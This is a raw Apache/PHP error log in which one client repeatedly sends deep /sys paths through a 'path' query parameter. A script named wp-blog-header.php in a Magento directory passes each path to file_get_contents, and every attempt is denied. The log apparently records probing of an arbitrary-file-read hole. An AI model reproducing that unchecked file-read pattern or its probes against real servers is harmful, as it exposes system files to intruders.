[Thu Mar 26 15:12:18.108924 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:fe
[Thu Mar 26 15:12:21.801438 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ec
[Thu Mar 26 15:12:29.692641 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ca
[Thu Mar 26 15:12:30.234450 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ec
[Thu Mar 26 15:12:30.779862 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ec
[Thu Mar 26 15:12:33.908407 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem
[Thu Mar 26 15:12:35.809967 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem
[Thu Mar 26 15:12:36.850079 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac
[Thu Mar 26 15:12:37.391463 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ec
[Thu Mar 26 15:12:37.871208 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/drivers/ac
[Thu Mar 26 15:12:41.669374 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ec
[Thu Mar 26 15:12:45.852725 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:aa
[Thu Mar 26 15:12:47.936257 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ea
[Thu Mar 26 15:12:52.087172 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem
[Thu Mar 26 15:12:52.656363 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ac
[Thu Mar 26 15:12:53.724937 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ac
[Thu Mar 26 15:12:55.308038 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ac
[Thu Mar 26 15:12:56.870357 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ec
[Thu Mar 26 15:12:58.520415 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ac
[Thu Mar 26 15:12:58.983942 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:bc
[Thu Mar 26 15:13:02.188452 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ac
[Thu Mar 26 15:13:02.673626 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ca
[Thu Mar 26 15:13:03.756194 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem
[Thu Mar 26 15:13:04.297300 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 15:13:04.824671 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ae
[Thu Mar 26 15:13:05.350807 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ee
[Thu Mar 26 15:13:05.830446 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ea
[Thu Mar 26 15:13:09.646539 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:cc
[Thu Mar 26 15:13:12.326128 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:fe
[Thu Mar 26 15:13:13.379706 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:fe
[Thu Mar 26 15:13:16.610030 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ec
[Thu Mar 26 15:13:21.295257 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ec
[Thu Mar 26 15:13:24.513893 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ec
[Thu Mar 26 15:13:26.604516 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ac
[Thu Mar 26 15:13:27.610868 2026] [php:warn] [pid 3216602] [client 74.7.241.26:39626] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:fe
[Thu Mar 26 15:13:32.459216 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ce
[Thu Mar 26 15:13:33.559218 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem
[Thu Mar 26 15:13:34.164822 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ca
[Thu Mar 26 15:13:37.432517 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ee
[Thu Mar 26 15:13:37.991093 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ba
[Thu Mar 26 15:13:39.028988 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ac
[Thu Mar 26 15:13:43.856425 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:fa
[Thu Mar 26 15:13:45.460827 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:aa
[Thu Mar 26 15:13:46.496197 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ae
